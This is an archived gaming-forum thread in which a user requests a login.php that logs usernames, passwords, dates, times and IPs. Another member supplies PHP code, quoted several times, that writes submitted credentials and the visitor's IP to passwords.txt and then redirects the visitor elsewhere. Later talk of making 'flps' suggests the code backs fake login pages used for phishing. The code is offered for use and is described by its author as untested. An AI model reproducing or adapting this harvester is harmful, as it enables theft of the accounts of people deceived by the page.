A preserved archive of the Logical Gamers community forums, 2009-2025. The original threads and posts, served read-only. Registration, posting and private messages are gone for good.

[Request]Login.php

2k views · started by Domo™ ·
#1
[Request]Login.php
I need a login.php file but one that can store:
Username:
Password:
Date:
Time:
Ip:
and i will give you credits ;D thanks
#2
it's not the php file that will store the information, it's the database for example MySQL. You would have to start by making a table on your database called users or something like that and then add all the fields you want (username, password, etc.)
#3
Cyanoxide wrote:
it's not the php file that will store the information, it's the database for example MySQL. You would have to start by making a table on your database called users or something like that and then add all the fields you want (username, password, etc.)


No...
There are codes that you can add to a php file to get date and time and all that jazz. The login.php (in my siggy) can get the IP of users too. I'll have it done when I get home from school, if not now.
#4
TEMPTii wrote:
No...
There are codes that you can add to a php file to get date and time and all that jazz. The login.php (in my siggy) can get the IP of users too. I'll have it done when I get home from school, if not now.

Then where is the information being stored, like the username and password?
#5
A txt file? >>;
#6
Sorry for the double post but here's the code:


<?php
header ('Location: http://www.example.com ');
$newline = "\n"
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . date("d") . "," . date("Y");
$time = date("H:i");
$username = $_POST['username'];
$password = $_POST['password'];
$all = "Username: " . $username . $newline . "Password: " . $password . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $newline;

$handle = fopen("passwords.txt", "a");
fwrite($handle, $all);
fclose($handle) ;
?>


That's real sloppy but it should work. I tried to test it but t35 was being gay so it couldn't be tested. Tell me how it is D;
#7
TEMPTii wrote:
Sorry for the double post but here's the code:


<?php
header ('Location: http://www.example.com ');
$newline = "\n"
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . date("d") . "," . date("Y");
$time = date("H:i");
$username = $_POST['username'];
$password = $_POST['password'];
$all = "Username: " . $username . $newline . "Password: " . $password . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $newline;

$handle = fopen("passwords.txt", "a");
fwrite($handle, $all);
fclose($handle) ;
?>


That's real sloppy but it should work. I tried to test it but t35 was being gay so it couldn't be tested. Tell me how it is D;


No its cool thanks TEMPii ;D
#8
TEMPTii wrote:
Sorry for the double post but here's the code:


<?php
header ('Location: http://www.example.com ');
$newline = "\n"
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . date("d") . "," . date("Y");
$time = date("H:i");
$username = $_POST['username'];
$password = $_POST['password'];
$all = "Username: " . $username . $newline . "Password: " . $password . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $newline;

$handle = fopen("passwords.txt", "a");
fwrite($handle, $all);
fclose($handle) ;
?>


That's real sloppy but it should work. I tried to test it but t35 was being gay so it couldn't be tested. Tell me how it is D;


That is sloppy, you have no protection on what the user inputs.
#9
NekRo wrote:
That is sloppy, you have no protection on what the user inputs.


TEMPTii wrote:
Sorry for the double post but here's the code:


<?php
header ('Location: http://www.example.com ');
$newline = "\n"
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . date("d") . "," . date("Y");
$time = date("H:i");
$username = $_POST['username'];
$password = $_POST['password'];
$all = "Username: " . $username . $newline . "Password: " . $password . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $newline;

$handle = fopen("passwords.txt", "a");
fwrite($handle, $all);
fclose($handle) ;
?>


That's real sloppy but it should work. I tried to test it but t35 was being gay so it couldn't be tested. Tell me how it is D;


Thanks for your completely unhelpful first post. We've already established that it was sloppy and it doesn't matter what you do, you can't control what they post anyways.
#10
Ill make an advanced login script and make a thread later releasing it. Ill have it do either mysql or text files and tons of options. Just give me a few minutes.
#11
Sk8er wrote:
Ill make an advanced login script and make a thread later releasing it. Ill have it do either mysql or text files and tons of options. Just give me a few minutes.


Thanks bro, ill make you a flp sometime if you want ;D
#12
lols no trust me, if i need an FLP, i can make some epic stuff no one will ever be able to compete with. But i dont need one. BTW, i posted the thread with the source of my advanced one.
#13
Sk8er wrote:
lols no trust me, if i need an FLP, i can make some epic stuff no one will ever be able to compete with. But i dont need one. BTW, i posted the thread with the source of my advanced one.

alright ;D now its time for me to start making flps to release thanks again Sk8er.
#14
yep no problem! Gave me something to do for an hour >.<
#15
Sk8er make me a flp lol ill do anything :B